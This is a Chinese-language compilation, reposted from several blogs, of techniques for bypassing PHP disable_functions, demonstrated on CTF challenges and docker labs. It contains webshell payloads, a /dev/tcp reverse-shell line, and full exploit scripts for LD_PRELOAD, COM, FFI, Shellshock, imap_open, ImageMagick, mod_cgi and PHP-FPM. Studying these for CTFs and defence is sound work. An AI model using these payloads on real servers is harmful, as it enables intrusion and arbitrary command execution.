轉載
https://whoamianony.top/2021/03/13/Web安全/Bypass Disable_functions/
https://www.mi1k7ea.com/2019/06/02/淺談幾種Bypass-disable-functions的方法/#0x07-利用imap-open-繞過
https://www.anquanke.com/post/id/208451#h2-10
https://github.com/AntSwordProject/AntSword-Labs
描述
今天看了些大佬的文章之后,發現有許多不同的方法,於是就想整合一下,方便自己以后如果碰到禁用函數的情況下,可以快速的找方法。
查看phpinfo(),看到disable_functions禁用了許多函數
在shell里並不會成功執行命令
繞過
利用LD_PRELOAD 環境變量
原理簡述
LD_PRELOAD是Linux系統的一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的攻擊目的。
我們通過環境變量 LD_PRELOAD 劫持系統函數,可以達到不調用 PHP 的各種命令執行函數(system()、exec() 等等)仍可執行系統命令的目的。
想要利用LD_PRELOAD環境變量繞過disable_functions需要注意以下幾點:
•能夠上傳自己的.so文件
•能夠控制LD_PRELOAD環境變量的值,比如putenv()函數
•因為新進程啟動將加載LD_PRELOAD中的.so文件,所以要存在可以控制PHP啟動外部程序的函數並能執行,比如mail()、imap_mail()、mb_send_mail()和error_log()函數等
一般而言,利用漏洞控制 web 啟動新進程 a.bin(即便進程名無法讓我隨意指定),新進程 a.bin 內部調用系統函數 b(),b() 位於 系統共享對象 c.so 中,所以系統為該進程加載共享對象 c.so,想辦法在加載 c.so 前優先加載可控的 c_evil.so,c_evil.so 內含與 b() 同名的惡意函數,由於 c_evil.so 優先級較高,所以,a.bin 將調用到 c_evil.so 內的b() 而非系統的 c.so 內 b(),同時,c_evil.so 可控,達到執行惡意代碼的目的。基於這一思路,常見突破 disable_functions 限制執行操作系統命令的方式為:
•編寫一個原型為 uid_t getuid(void); 的 C 函數,內部執行攻擊者指定的代碼,並編譯成共享對象 getuid_shadow.so;
•運行 PHP 函數 putenv()(用來配置系統環境變量),設定環境變量 LD_PRELOAD 為 getuid_shadow.so,以便后續啟動新進程時優先加載該共享對象;
•運行 PHP 的 mail() 函數,mail() 內部啟動新進程 /usr/sbin/sendmail,由於上一步 LD_PRELOAD 的作用,sendmail 調用的系統函數 getuid() 被優先級更好的 getuid_shadow.so 中的同名 getuid() 所劫持;
•達到不調用 PHP 的 各種 命令執行函數(system()、exec() 等等)仍可執行系統命令的目的。
之所以劫持 getuid(),是因為 sendmail 程序會調用該函數(當然也可以為其他被調用的系統函數),在真實環境中,存在兩方面問題:
•一是,某些環境中,web 禁止啟用 sendmail、甚至系統上根本未安裝 sendmail,也就談不上劫持 getuid(),通常的 www-data 權限又不可能去更改 php.ini 配置、去安裝 sendmail 軟件;
•二是,即便目標可以啟用 sendmail,由於未將主機名(hostname 輸出)添加進 hosts 中,導致每次運行 sendmail 都要耗時半分鍾等待域名解析超時返回,www-data 也無法將主機名加入 hosts(如,127.0.0.1 lamp、lamp.、lamp.com)。
基於這兩個原因,yangyangwithgnu 大佬找到了一個方式,在加載時就執行代碼(攔劫啟動進程),而不用考慮劫持某一系統函數,那我就完全可以不依賴 sendmail 了,詳情參見:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
利用方法
下面,我們通過 [GKCTF2020]CheckIN 這道題來演示利用LD_PRELOAD來突破disable_functions的具體方法。
構造如下拿到shell:
/?Ginkgo=ZXZhbCgkX1BPU1Rbd2hvYW1pXSk7
# 即eval($_POST[whoami]);
但是無法執行命令:
懷疑是設置了disable_functions,查看phpinfo:
/?Ginkgo=cGhwaW5mbygpOw==
# 即phpinfo();
發現確實設置了disable_functions:
下面嘗試繞過。
需要去yangyangwithgnu 大佬的github上下載該項目的利用文件:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
本項目中有這幾個關鍵文件:
•bypass_disablefunc.php:一個用來執行命令的 webshell。
•bypass_disablefunc_x64.so或bypass_disablefunc_x86.so:執行命令的共享對象文件,分為64位的和32位的。
•bypass_disablefunc.c:用來編譯生成上面的共享對象文件。
對於bypass_disablefunc.php,權限上傳到web目錄的直接訪問,無權限的話可以傳到tmp目錄后用include等函數來包含,並且需要用 GET 方法提供三個參數:
•cmd 參數:待執行的系統命令,如 id 命令。
•outpath 參數:保存命令執行輸出結果的文件路徑(如 /tmp/xx),便於在頁面上顯示,另外該參數,你應注意 web 是否有讀寫權限、web 是否可跨目錄訪問、文件將被覆蓋和刪除等幾點。
•sopath 參數:指定劫持系統函數的共享對象的絕對路徑(如 /var/www/bypass_disablefunc_x64.so),另外關於該參數,你應注意 web 是否可跨目錄訪問到它。
首先,想辦法將 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 傳到目標有權限的目錄中:
然后將bypass_disablefunc.php包含進來並使用GET方法提供所需的三個參數:
/?Ginkgo=aW5jbHVkZSgiL3Zhci90bXAvYnlwYXNzX2Rpc2FibGVmdW5jLnBocCIpOw==&cmd=id&outpath=/tmp/outfile123&sopath=/var/tmp/bypass_disablefunc_x64.so
# include("/var/tmp/bypass_disablefunc.php");
如下所示,成功執行命令:
成功執行/readflag並得到了flag:
在蟻劍中有該繞過disable_functions的插件:
我們選擇 LD_PRELOAD 模式並點擊開始按鈕,成功后蟻劍會在 /var/www/html 目錄里上傳一個 .antproxy.php 文件。我們創建副本, 並將連接的 URL shell 腳本名字改為 .antproxy.php獲得一個新的shell,在這個新shell里面就可以成功執行命令了。
利用Windows組件COM繞過
查看com.allow_dcom是否開啟,這個默認是不開啟的。
創建一個COM對象,通過調用COM對象的exec替我們執行命令
<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
$command = $_GET['cmd'];
$wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wshit->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}
elseif($wsh == 'application') {
$command = $_GET['cmd'];
$wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
$exec = $wshit->ShellExecute("cmd","/c ".$command);
}
else {
echo(0);
}
?>
利用 FFI 擴展執行命令
使用條件:
•Linux 操作系統
•PHP >= 7.4
•開啟了 FFI 擴展且 ffi.enable=true
原理簡述
PHP 7.4 的 FFI(Foreign Function Interface),即外部函數接口,允許從用戶在PHP代碼中去調用C代碼。
FFI的使用非常簡單,只用聲明和調用兩步就可以。
首先我們使用 FFI::cdef() 函數在PHP中聲明一個我們要調用的這個C庫中的函數以及使用到的數據類型,類似如下:
$ffi = FFI::cdef("int system(char* command);"); # 聲明C語言中的system函數
這將返回一個新創建的FFI對象,然后使用以下方法即可調用這個對象中所聲明的函數:
$ffi ->system("ls / > /tmp/res.txt"); # 執行ls /命令並將結果寫入/tmp/res.txt
由於system函數執行命令無回顯,所以需要將執行結果寫入到tmp等有權限的目錄中,最后再使用 echo file_get_contents("/tmp/res.txt"); 查看執行結果即可。
可見,當PHP所有的命令執行函數被禁用后,通過PHP 7.4的新特性FFI可以實現用PHP代碼調用C代碼的方式,先聲明C中的命令執行函數或其他能實現我們需求的函數,然后再通過FFI變量調用該C函數即可Bypass disable_functions。
利用方法
下面,我們通過 [極客大挑戰 2020]FighterFightsInvincibly 這道題來演示利用PHP 7.4 FFI來突破disable_functions的具體方法。
進入題目:
查看源碼發現提示:
$_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']);
可以動態的執行php代碼,此刻應該聯想到create_function代碼注入:
create_function(string $args,string $code)
//string $args 聲明的函數變量部分
//string $code 執行的方法代碼部分
我們令 fighter=create_function,invincibly=;}eval($_POST[whoami]);/* 即可注入惡意代碼並執行。
payload:
/?fighter=create_function&fights=&invincibly=;}eval($_POST[whoami]);/*
使用蟻劍成功連接,但是無法訪問其他目錄也無法執行命令:
很有可能是題目設置了disable_functions,我們執行一下phpinfo()看看:
/?fighter=create_function&fights=&invincibly=;}phpinfo();/*
發現果然用disable_functions禁用了很多函數:
根據題目名字的描述,應該是讓我們使用PHP 7.4 的FFI繞過disabled_function,並且我們在phpinfo中也看到FFI處於enable狀態:
利用FFI調用C庫的system函數
我們首先嘗試調用C庫的system函數:
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int system(const char *command);");$ffi->system("ls / > /tmp/res.txt");echo file_get_contents("/tmp/res.txt");/*
C庫的system函數執行是沒有回顯的,所以需要將執行結果寫入到tmp等有權限的目錄中,最后再使用 echo file_get_contents("/tmp/res.txt"); 查看執行結果即可。
但是這道題執行后卻發現有任何結果,可能是我們沒有寫文件的權限。嘗試反彈shell:
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int system(const char *command);");$ffi->system('bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"')/*
但這里也失敗了,可能還是權限的問題。所以,我們還要找別的C庫函數。
利用FFI調用C庫的popen函數
C庫的system函數調用shell命令,只能獲取到shell命令的返回值,而不能獲取shell命令的輸出結果,如果想獲取輸出結果我們可以用popen函數來實現:
FILE *popen(const char* command, const char* type);
popen()函數會調用fork()產生子進程,然后從子進程中調用 /bin/sh -c 來執行參數 command 的指令。
參數 type 可使用 "r"代表讀取,"w"代表寫入。依照此type值,popen()會建立管道連到子進程的標准輸出設備或標准輸入設備,然后返回一個文件指針。隨后進程便可利用此文件指針來讀取子進程的輸出設備或是寫入到子進程的標准輸入設備中。
所以,我們還可以利用C庫的popen()函數來執行命令,但要讀取到結果還需要C庫的fgetc等函數。payload如下:
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*
成功執行命令:
利用FFI調用PHP源碼中的函數
其次,我們還有一種思路,即FFI中可以直接調用php源碼中的函數,比如這個php_exec()函數就是php源碼中的一個函數,當他參數type為3時對應着調用的是passthru()函數,其執行命令可以直接將結果原始輸出,payload如下:
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int php_exec(int type, char *cmd);");$ffi->php_exec(3,"ls /");/*
成功執行命令:
在蟻劍中有該繞過disable_functions的插件:
點擊開始按鈕后,成功之后, 會創建一個新的虛擬終端,在這個新的虛擬終端中即可執行命令了。
利用Bash Shellshock(CVE-2014-6271)破殼漏洞
使用條件:
•Linux 操作系統
•putenv()、mail() 或 error_log() 函數可用
•目標系統的 /bin/bash 存在 CVE-2014-6271 漏洞
•/bin/sh -> /bin/bash sh 默認的 shell 是 bash
原理簡述
該方法利用的bash中的一個老漏洞,即Bash Shellshock 破殼漏洞(CVE-2014-6271)。
該漏洞的原因是Bash使用的環境變量是通過函數名稱來調用的,導致該漏洞出現是以 (){ 開頭定義的環境變量在命令 ENV 中解析成函數后,Bash執行並未退出,而是繼續解析並執行shell命令。而其核心的原因在於在輸入的過濾中沒有嚴格限制邊界,也沒有做出合法化的參數判斷。
一般函數體內的代碼不會被執行,但破殼漏洞會錯誤的將"{}"花括號外的命令進行執行。PHP里的某些函數(例如:mail()、imap_mail())能調用popen或其他能夠派生bash子進程的函數,可以通過這些函數來觸發破殼漏洞(CVE-2014-6271)執行命令。
利用方法
我們利用 AntSword-Labs 項目來搭建環境:
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/2
docker-compose up -d
搭建完成后訪問 http://your-ip:18080,嘗試使用system函數執行命令失敗:
查看phpinfo發現設置了disable_functions:
我們使用蟻劍拿下shell:
AntSword 虛擬終端中已經集成了對 ShellShock 的利用,直接在虛擬終端執行命令即可繞過disable_functions:
也可以選擇手動利用。在有權限的目錄中(/var/tmp/exploit.php)上傳以下利用腳本:
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
//mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
然后包含該腳本並傳參執行命令即可:
如上圖,成功執行命令。
利用imap_open()繞過
利用條件
需要安裝iamp擴展,命令行輸入:apt-get install php-imap在php.ini中開啟imap.enable_insecure_rsh選項為On;重啟服務。
基本原理
PHP 的imap_open函數中的漏洞可能允許經過身份驗證的遠程攻擊者在目標系統上執行任意命令。
該漏洞的存在是因為受影響的軟件的imap_open函數在將郵箱名稱傳遞給rsh或ssh命令之前不正確地過濾郵箱名稱。
如果啟用了rsh和ssh功能並且rsh命令是ssh命令的符號鏈接,則攻擊者可以通過向目標系統發送包含-oProxyCommand參數的惡意IMAP服務器名稱來利用此漏洞。成功的攻擊可能允許攻擊者繞過其他禁用的exec 受影響軟件中的功能,攻擊者可利用這些功能在目標系統上執行任意shell命令。
EXP:
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . "|base64t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
利用ImageMagick 漏洞繞過(CVE-2016–3714)
使用條件:
•目標主機安裝了漏洞版本的imagemagick(<= 3.3.0)
•安裝了php-imagick拓展並在php.ini中啟用;
•編寫php通過new Imagick對象的方式來處理圖片等格式文件;
•PHP >= 5.4
原理簡述
imagemagick是一個用於處理圖片的程序,它可以讀取、轉換、寫入多種格式的圖片。圖片切割、顏色替換、各種效果的應用,圖片的旋轉、組合,文本,直線,多邊形,橢圓,曲線,附加到圖片伸展旋轉。
利用ImageMagick繞過disable_functions的方法利用的是ImageMagick的一個漏洞(CVE-2016-3714)。漏洞的利用過程非常簡單,只要將精心構造的圖片上傳至使用漏洞版本的ImageMagick,ImageMagick會自動對其格式進行轉換,轉換過程中就會執行攻擊者插入在圖片中的命令。因此很多具有頭像上傳、圖片轉換、圖片編輯等具備圖片上傳功能的網站都可能會中招。所以如果在phpinfo中看到有這個ImageMagick,可以嘗試一下。
利用方法
我們使用網上已有的docker鏡像來搭建環境:
docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
啟動環境后,訪問 http://your-ip:8000 端口:
假設此時目標主機仍然設置了disable_functions只是我們無法執行命令,並且查看phpinfo發現其安裝並開啟了ImageMagick拓展:
此時我們便可以通過攻擊ImageMagick繞過disable_functions來執行命令。
將一下利用腳本上傳到目標主機上有權限的目錄(/var/tmp/exploit.php):
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
然后包含該腳本並傳參執行命令即可
利用 Apache Mod CGI
使用條件:
•Linux 操作系統
•Apache + PHP (apache 使用 apache_mod_php)
•Apache 開啟了 cgi、rewrite
•Web 目錄給了 AllowOverride 權限
•當前目錄可寫
原理簡述
早期的Web服務器,只能響應瀏覽器發來的HTTP靜態資源的請求,並將存儲在服務器中的靜態資源返回給瀏覽器。隨着Web技術的發展,逐漸出現了動態技術,但是Web服務器並不能夠直接運行動態腳本,為了解決Web服務器與外部應用程序(CGI程序)之間數據互通,於是出現了CGI(Common Gateway Interface)通用網關接口。簡單理解,可以認為CGI是Web服務器和運行在其上的應用程序進行“交流”的一種約定。
當遇到動態腳本請求時,Web服務器主進程就會Fork創建出一個新的進程來啟動CGI程序,運行外部C程序或Perl、PHP腳本等,也就是將動態腳本交給CGI程序來處理。啟動CGI程序需要一個過程,如讀取配置文件、加載擴展等。當CGI程序啟動后會去解析動態腳本,然后將結果返回給Web服務器,最后由Web服務器將結果返回給客戶端,之前Fork出來的進程也隨之關閉。這樣,每次用戶請求動態腳本,Web服務器都要重新Fork創建一個新進程去啟動CGI程序,由CGI程序來處理動態腳本,處理完成后進程隨之關閉,其效率是非常低下的。
而對於Mod CGI,Web服務器可以內置Perl解釋器或PHP解釋器。也就是說將這些解釋器做成模塊的方式,Web服務器會在啟動的時候就啟動這些解釋器。當有新的動態請求進來時,Web服務器就是自己解析這些動態腳本,省得重新Fork一個進程,效率提高了。
任何具有MIME類型application/x-httpd-cgi或者被cgi-script處理器處理的文件都將被作為CGI腳本對待並由服務器運行,它的輸出將被返回給客戶端。可以通過兩種途徑使文件成為CGI腳本,一種是文件具有已由AddType指令定義的擴展名,另一種是文件位於ScriptAlias目錄中。
Apache在配置開啟CGI后可以用ScriptAlias指令指定一個目錄,指定的目錄下面便可以存放可執行的CGI程序。若是想臨時允許一個目錄可以執行CGI程序並且使得服務器將自定義的后綴解析為CGI程序執行,則可以在目的目錄下使用htaccess文件進行配置,如下:
Options +ExecCGI
AddHandler cgi-script .xxx
這樣便會將當前目錄下的所有的.xxx文件當做CGI程序執行了。
由於CGI程序可以執行命令,那我們可以利用CGI來執行系統命令繞過disable_functions。
利用方法
我們利用 AntSword-Labs 項目來搭建環境:
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/3
docker-compose up -d
搭建完成后訪問 http://your-ip:18080:
用蟻劍拿到shell后無法執行命令:
執行phpinfo發現設置了disable_functions:
並且發現目標主機Apache開啟了CGI,Web目錄下有寫入的權限。
我們首先在當前目錄創建 .htaccess 文件,寫入如下:
Options +ExecCGI
AddHandler cgi-script .ant
然后新建 shell.ant 文件,寫入要執行的命令:
#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id
注意:這里講下一個小坑,linux中CGI比較嚴格,上傳后可能會發現狀態碼500,無法解析我們bash文件。因為我們的目標站點是linux環境,如果我們用(windows等)本地編輯器編寫上傳時編碼不一致導致無法解析,所以我們可以在linux環境中編寫並導出再上傳。
此時我們的shell.xxx還不能執行,因為還沒有權限,我們使用php的chmod()函數給其添加可執行權限:
最后訪問shell.ant文件便可成功執行命令:
給出一個POC腳本:
<?php
$cmd = "ls /"; //command to be executed
$shellfile = "#!/bin/bashn"; //using a shellscript
$shellfile .= "echo -ne "Content-Type: text/html\n\n"n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGInAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>
在蟻劍中有該繞過disable_functions的插件:
點擊開始按鈕后,成功之后會創建一個新的虛擬終端,在這個新的虛擬終端中即可執行命令了。
利用攻擊PHP-FPM
使用條件
•Linux 操作系統
•PHP-FPM
•存在可寫的目錄,需要上傳 .so 文件
原理簡述
既然是利用PHP-FPM,我們首先需要了解一下什么是PHP-FPM,研究過apache或者nginx的人都知道,早期的Web服務器負責處理全部請求,其接收到請求,讀取文件,然后傳輸過去。換句話說,早期的Web服務器只處理Html等靜態Web資源。
但是隨着技術發展,出現了像PHP等動態語言來豐富Web,形成動態Web資源,這時Web服務器就處理不了了,那就交給PHP解釋器來處理吧!交給PHP解釋器處理很好,但是,PHP解釋器該如何與Web服務器進行通信呢?為了解決不同的語言解釋器(如php、python解釋器)與Web服務器的通信,於是出現了CGI協議。只要你按照CGI協議去編寫程序,就能實現語言解釋器與Web服務器的通信。如PHP-CGI程序。
其實,在上一節中我們已經了解了CGI以及Apache Mod CGI方面的知識了,下面我們再來繼續補充一下。
Fast-CGI
有了CGI,自然就解決了Web服務器與PHP解釋器的通信問題,但是Web服務器有一個問題,就是它每收到一個請求,都會去Fork一個CGI進程,請求結束再kill掉這個進程,這樣會很浪費資源。於是,便出現了CGI的改良版本——Fast-CGI。Fast-CGI每次處理完請求后,不會kill掉這個進程,而是保留這個進程,使這個進程可以一次處理多個請求(注意與另一個Apache Mod CGI區別)。這樣就會大大的提高效率。
Fast-CGI Record
CGI/Fastcgi其實是一個通信協議,和HTTP協議一樣,都是進行數據交換的一個通道。
HTTP協議是瀏覽器和服務器中間件進行數據交換的協議,瀏覽器將HTTP頭和HTTP體用某個規則組裝成數據包,以TCP的方式發送到服務器中間件,服務器中間件按照規則將數據包解碼,並按要求拿到用戶需要的數據,再以HTTP協議的規則打包返回給服務器。
類比HTTP協議來說,CGI協議是Web服務器和解釋器進行數據交換的協議,它由多條record組成,每一條record都和HTTP一樣,也由header和body組成,Web服務器將這二者按照CGI規則封裝好發送給解釋器,解釋器解碼之后拿到具體數據進行操作,得到結果之后再次封裝好返回給Web服務器。
和HTTP頭不同,record的header頭部固定的是8個字節,body是由頭中的contentLength指定,其結構如下:
typedef struct
{
HEAD
unsigned char version; //版本
unsigned char type; //類型
unsigned char requestIdB1; //id
unsigned char requestIdB0;
unsigned char contentLengthB1; //body大小
unsigned char contentLengthB0;
unsigned char paddingLength; //額外大小
unsigned char reserved;
BODY
unsigned char contentData[contentLength];//主要內容
unsigned char paddingData[paddingLength];//額外內容
}FCGI_Record;
詳情請看:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#fastcgi-record
PHP-FPM
前面說了那么多了,那PHP-FPM到底是個什么東西呢?
其實FPM就是Fastcgi的協議解析器,Web服務器使用CGI協議封裝好用戶的請求發送給誰呢? 其實就是發送給FPM。FPM按照CGI的協議將TCP流解析成真正的數據。
舉個例子,用戶訪問 http://127.0.0.1/index.php?a=1&b=2 時,如果web目錄是/var/www/html,那么Nginx會將這個請求變成如下key-value對:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
這個數組其實就是PHP中 $_SERVER 數組的一部分,也就是PHP里的環境變量。但環境變量的作用不僅是填充 $_SERVER 數組,也是告訴fpm:“我要執行哪個PHP文件”。
PHP-FPM拿到Fastcgi的數據包后,進行解析,得到上述這些環境變量。然后,執行 SCRIPT_FILENAME 的值指向的PHP文件,也就是 /var/www/html/index.php 。
如何攻擊
這里由於FPM默認監聽的是9000端口,我們就可以繞過Web服務器,直接構造Fastcgi協議,和fpm進行通信。於是就有了利用 Webshell 直接與 FPM 通信 來繞過 disable functions 的姿勢。
因為前面我們了解了協議原理和內容,接下來就是使用CGI協議封裝請求,通過Socket來直接與FPM通信。
但是能夠構造Fastcgi,就能執行任意PHP代碼嗎?答案是肯定的,但是前提是我們需要突破幾個限制。
第一個限制
既然是請求,那么 SCRIPT_FILENAME 就相當的重要,因為前面說過,fpm是根據這個值來執行PHP文件文件的,如果不存在,會直接返回404,所以想要利用好這個漏洞,就得找到一個已經存在的PHP文件,好在一般進行源安裝PHP的時候,服務器都會附帶上一些PHP文件,如果說我們沒有收集到目標Web目錄的信息的話,可以試試這種辦法.
第二個限制
即使我們能控制SCRIPT_FILENAME,讓fpm執行任意文件,也只是執行目標服務器上的文件,並不能執行我們需要其執行的文件。那要如何繞過這種限制呢?我們可以從 php.ini 入手。它有兩個特殊選項,能夠讓我們去做到任意命令執行,那就是 auto_prepend_file 和 auto_append_file。 auto_prepend_file 的功能是在執行目標文件之前,先包含它指定的文件。那么就有趣了,假設我們設置 auto_prepend_file 為php://input,那么就等於在執行任何PHP文件前都要包含一遍POST過去的內容。所以,我們只需要把待執行的代碼放在POST Body中進行遠程文件包含,這樣就能做到任意代碼執行了。
第三個限制
我們雖然可以通過遠程文件包含執行任意代碼,但是遠程文件包含是有 allow_url_include 這個限制因素的,如果沒有為 ON 的話就沒有辦法進行遠程文件包含,那要怎么設置呢? 這里,PHP-FPM有兩個可以設置PHP配置項的KEY-VALUE,即 PHP_VALUE 和 PHP_ADMIN_VALUE,PHP_VALUE 可以用來設置php.ini,PHP_ADMIN_VALUE 則可以設置所有選項(disable_functions 選項除外),這樣就解決問題了。
所以,我們最后最后構造的請求如下:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/name.php',
'SCRIPT_NAME': '/name.php',
'QUERY_STRING': '?name=alex',
'REQUEST_URI': '/name.php?name=alex',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '6666',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
該請求設置了 auto_prepend_file = php://input 且 allow_url_include = On,然后將我們需要執行的代碼放在Body中,即可執行任意代碼了。
這里附上P神的EXP:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
利用方法
我們利用 AntSword-Labs 項目來搭建環境:
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/5
docker-compose up -d
搭建完成后訪問 http://your-ip:18080:
拿下shell后發現無法執行命令:
查看phpinfo發現設置了disable_functions,並且,我們發現目標主機配置了FPM/Fastcgi:
我們便可以通過PHP-FPM繞過disable_functions來執行命令。
在蟻劍中有該通過PHP-FPM模式繞過disable_functions的插件:
注意該模式下需要選擇 PHP-FPM 的接口地址,需要自行找配置文件查 FPM 接口地址,默認的是 unix:/// 本地 Socket 這種的,如果配置成 TCP 的默認是 127.0.0.1:9000。
我們本例中PHP-FPM 的接口地址,發現是 127.0.0.1:9000:
所以在此處選擇 127.0.0.1:9000:
點擊開始按鈕:
成功后蟻劍會在 /var/www/html 目錄上傳一個 .antproxy.php 文件。我們創建副本,並將連接的 URL shell 腳本名字改為 .antproxy.php 來獲得新的shell:
在新的shell里面就可以成功執行命令了:
利用 GC UAF
使用條件:
•Linux 操作系統
•PHP 版本
•7.0 - all versions to date
•7.1 - all versions to date
•7.2 - all versions to date
•7.3 - all versions to date
原理簡述
此漏洞利用PHP垃圾收集器中存在三年的一個 bug ,通過PHP垃圾收集器中堆溢出來繞過 disable_functions 並執行系統命令。
利用腳本:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
利用方法
下面,我們還是通過 [GKCTF2020]CheckIN 這道題來演示利用GC UAF來突破disable_functions的具體方法。
此時我們已經拿到了shell:
需要下載利用腳本:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
下載后,在pwn函數中放置你想要執行的系統命令:
這樣,每當你想要執行一個命令就要修改一次pwn函數里的內容,比較麻煩,所以我們可以直接該為POST傳參:
這樣就方便多了。
